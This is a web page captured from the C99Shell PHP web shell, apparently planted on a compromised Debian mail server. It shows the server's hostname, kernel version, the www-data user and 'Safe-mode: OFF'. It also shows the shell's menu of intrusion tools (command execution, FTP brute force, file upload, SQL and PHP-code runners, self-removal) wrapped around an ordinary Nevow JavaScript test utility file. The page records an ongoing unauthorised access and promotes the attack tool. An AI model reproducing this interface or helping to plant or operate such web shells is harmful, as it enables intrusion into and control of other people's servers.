!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/pyshared/nevow/js/Nevow/Test/   drwxr-xr-x
Free 129.82 GB of 142.11 GB (91.35%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     WidgetUtil.js (1.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// Copyright (c) 2007 Divmod.
// See LICENSE for details.

/**
 * Utilities for testing L{Nevow.Athena.Widget} subclasses.
 */


/**
 * Make a node suitable for passing as the first argument to a
 * L{Nevow.Athena.Widget} constructor.
 *
 * @param athenaID: the athena ID of the widget this node belongs to.
 * defaults to '1'.
 * @type athenaID: C{Number}
 *
 * @return: a node.
 */
Nevow.Test.WidgetUtil.makeWidgetNode = function makeWidgetNode(athenaID/*=1*/) {
    if(athenaID === undefined) {
        athenaID = 1;
    }
    var node = document.createElement('div');
    node.id = Nevow.Athena.Widget.translateAthenaID(athenaID);
    return node;
}

/**
 * Tell athena that there is a widget with the ID C{athenaID}.
 *
 * @param widget:  a widget (the one to associate with C{athenaID}).
 * @type widget: L{Nevow.Athena.Widget}
 *
 * @param athenaID: the athena ID of this widget.  defaults to '1'.
 * @type athenaID: C{Number}
 *
 * @rtype: C{undefined}
 */
Nevow.Test.WidgetUtil.registerWidget = function registerWidget(widget, athenaID/*=1*/) {
    if(athenaID == undefined) {
        athenaID = 1;
    }
    Nevow.Athena.Widget._athenaWidgets[athenaID] = widget;
}

/**
 * Replace required global state for operating Athena widgets and events.
 *
 * @return: a thunk which will restore the global state to what it was at the
 * time this function was called.
 * @rtype: C{Function}
 */
Nevow.Test.WidgetUtil.mockTheRDM = function mockTheRDM() {
    var originalRDM = Nevow.Athena.page;
    Nevow.Athena.page = Nevow.Athena.PageWidget("fake-page-id", function (page) {
        var c = {
          pause: function () {
            },
          unpause: function () {
            }};
        return c;
    });
    return function() {
        Nevow.Athena.page = originalRDM;
    };
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0083 ]--